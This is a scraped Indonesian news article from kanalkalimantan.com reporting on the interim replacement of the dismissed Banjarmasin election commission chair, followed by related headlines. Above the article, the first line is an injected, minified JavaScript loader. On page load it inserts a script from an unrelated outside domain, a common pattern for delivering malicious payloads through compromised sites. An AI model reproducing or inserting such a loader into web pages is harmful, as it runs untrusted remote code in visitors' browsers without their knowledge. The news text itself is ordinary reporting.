(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Sepekan setelah pemberhentian tetap mantan Ketua KPU Kota Banjarmasin Gusti Makmur oleh Dewan Kehormatan Penyelenggara Pemilu (DKPP) RI, hingga kini KPU Provinsi Kalsel masih menunggu pengganti antar waktu (PAW) yang ditetapkan KPU RI.
“Setelah diberhentikan oleh KPU RI, tinggal surat keputusan (SK) mungkin nanti ada perintah ke KPU Provinsi Kalsel untuk persiapan PAW,†ungkap Ketua KPU Provinsi Kalsel Sarmuji, di sela rapat koordinasi dalam rangka sosialisasi Indeks Kerawanan Pemilu (IKP) di Hotel GSign Banjarmasin, Rabu (11/3/2020) siang.
Lalu, bagaimana mekanisme PAW? Menurut Sarmuji, nanti akan diambil dari waiting list yang berada urutan nomor enam hingga sepuluh. Nantinya, KPU Provinsi Kalsel akan melakukan pengecekan untuk calon PAW apakah masih memenuhi syarat sebagai calon anggota KPU.
“Kemudian, kita ajukan kesediaannya kalau masih memenuhi syarat. Nanti juga ada masukan dan tanggapan kita juga perlu klarifikasi,†ucap Sarmuji.
Kesediaan calon PAW untuk menjadi anggota KPU Kota Banjarmasin dirasa cukup penting. Karena, menurut Sarmuji, bisa saja calon PAW tidak lagi bersedia untuk menjadi anggota KPU saat diklarifikasi.
“Nanti kami panggil, kalau bersedia ya sudah. Kita lakukan nanti pengusulan untuk PAW Gusti Makmur,†lugas Sarmuji.
Terpisah, Ketua KPU Kota Banjarmasin Rahmiyati Wahdah mengatakan, pihaknya menunggu calon PAW yang akan menggantikan Gusti Makmur di KPU Kota Banjarmasin. Karena menurutnya, ranah untuk pengusulan dan penetapan PAW berada di tangan KPU Provinsi Kalsel dan KPU RI.
“Kami menunggu, mudah-mudahan cepat. Karena tahapan (Pilkada) sudah mulai. Mudah-mudahan PAW ini segera dilantik, jadi bisa bergabung dengan kita,†kata Rahmiyati.
Informasi yang dihimpun, untuk PAW diambil dari urutan enam ada nama Taufikkurahman dan di urutan ketujuh ada nama Joko Nugroho, tercatat pernah menjadi komisioner KPU Kota Banjarmasin periode 2013-2018. (kanalkalimantan.com/fikri)
Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More
Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More
KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More
KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More
This website uses cookies.